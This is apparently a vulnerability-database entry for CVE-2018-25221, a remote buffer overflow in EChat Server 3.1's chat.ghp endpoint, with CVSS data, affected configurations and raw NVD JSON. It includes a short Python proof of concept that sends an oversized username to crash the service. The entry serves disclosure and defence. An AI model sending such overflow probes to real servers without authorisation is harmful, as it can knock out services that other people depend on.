Security Vulnerability Report
中文
CVE-2018-25221 CVSS 9.8 CRITICAL

CVE-2018-25221

Published: 2026-03-28 12:16:03
Last Modified: 2026-04-02 19:15:19

Description

EChat Server 3.1 contains a buffer overflow vulnerability in the chat.ghp endpoint that allows remote attackers to execute arbitrary code by supplying an oversized username parameter. Attackers can send a GET request to chat.ghp with a malicious username value containing shellcode and ROP gadgets to achieve code execution in the application context.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:echatserver:easy_chat_server:*:*:*:*:*:*:*:* - VULNERABLE
EChat Server 3.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests def check_vulnerability(target_url): # Vulnerable endpoint: chat.ghp # Malicious parameter: username # Payload: oversized string to trigger buffer overflow url = f"{target_url}/chat.ghp" # Generating a payload of 5000 'A' characters payload = "A" * 5000 params = { "username": payload } try: print(f"[+] Sending payload to {url}...") response = requests.get(url, params=params, timeout=5) # If the service crashes or hangs, we won't get a standard HTTP response # or the connection might be reset. print(f"[+] Response status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Potential crash detected: {e}") print("[!] The target might be vulnerable to buffer overflow.") if __name__ == "__main__": # Replace with the actual target IP and port target = "http://192.168.1.100:8080" check_vulnerability(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2018-25221", "sourceIdentifier": "[email protected]", "published": "2026-03-28T12:16:02.793", "lastModified": "2026-04-02T19:15:19.013", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "EChat Server 3.1 contains a buffer overflow vulnerability in the chat.ghp endpoint that allows remote attackers to execute arbitrary code by supplying an oversized username parameter. Attackers can send a GET request to chat.ghp with a malicious username value containing shellcode and ROP gadgets to achieve code execution in the application context."}, {"lang": "es", "value": "EChat Servidor 3.1 contiene una vulnerabilidad de desbordamiento de búfer en el endpoint chat.ghp que permite a atacantes remotos ejecutar código arbitrario al proporcionar un parámetro de nombre de usuario sobredimensionado. Los atacantes pueden enviar una solicitud GET a chat.ghp con un valor de nombre de usuario malicioso que contiene shellcode y gadgets ROP para lograr la ejecución de código en el contexto de la aplicación."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:echatserver:easy_chat_server:*:*:*:*:*:*:*:*", "versionEndIncluding": "3.1", "matchCriteriaId": "870CBF48-0DB1-40C0-9883-9543036869BD"}]}]}], "references": [{"url": "https://www.exploit-db.com/exploits/44155", "source": "[email protected]", "tags": ["Exploit"]}, {"url": "https://www.vulncheck.com/advisories/echat-server-buffer-overflow-via-chat-ghp-username-parameter", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}